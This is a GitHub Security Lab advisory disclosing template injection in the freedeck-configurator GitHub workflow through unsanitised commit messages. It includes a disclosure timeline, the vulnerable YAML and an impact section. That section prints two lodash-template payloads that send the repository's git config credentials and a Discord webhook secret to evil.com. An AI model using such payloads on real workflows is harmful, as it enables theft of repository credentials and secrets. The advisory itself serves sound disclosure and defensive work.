Coordinated Disclosure Timeline
- 2020-12-04: Issue reported to maintainers
- 2021-01-22: Report acknowledged
- 2021-03-09: Issue fixed
Summary
The ‘develop.yml’ GitHub workflow is vulnerable to template injection.
Product
koriwi/freedeck-configurator GitHub repository
Tested Version
The latest changeset to the date 9bcff8a.
Details
Issue: A commit comment is used to format a Discord message
on:
push:
...
uses: Ilshidur/action-discord@0.0.2
env:
DISCORD_WEBHOOK: ${{ secrets.WEBHOOK_URL }}
with:
args: "A new develop version has been deployed! What's new? **${{ github.event.head_commit.message }}** https://fddev.gosewis.ch"
...
The ${{ github.event.head_commit.message }}
, used here, allows for injection of arbitrary markdown into the Discord message.
An attacker may create a specially crafted commit description and make a valid pull request, that will be merged. It is likely that the reviewer will not notice it, especially if there are multiple commits in the single PR.
Impact
Current impact is almost negligible, but the vulnerability may potentially become much more serious if the workflow is updated to use a newer version of the action. Since v0.3.0 the Discord action supports interpolation syntax for environment arguments. There are examples of indented usage in a documentation like The project {{ EVENT_PAYLOAD.repository.full_name }} has been deployed
. The interpolation is implemented in a way that the expressions may be interpreted as javascript:
const _ = require('lodash');
...
const message = _.template(args)({ ...process.env, EVENT_PAYLOAD: JSON.parse(eventContent) });
This vulnerability allows for arbitrary code execution in the context of a GitHub runner.
Since a checkout action is used without persist-credentials
set to false
an attacker could get a write access to the repository with the payload below:
{{ process.mainModule.require('http').get('http://evil.com?t='+process.mainModule.require('fs').readFileSync('./.git/config').toString('base64')) }}
The following payload would exfiltrate the secret DISCORD_WEBHOOK to the attacker controlled server. This would give the attacker full control over Discord message hook.
{{ process.mainModule.require('http').get('http://evil.com?t=${WEBHOOK_URL}') }}
Credit
This issue was discovered and reported by GHSL team member @JarLob (Jaroslav Lobačevski).
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2020-324
in any communication regarding this issue.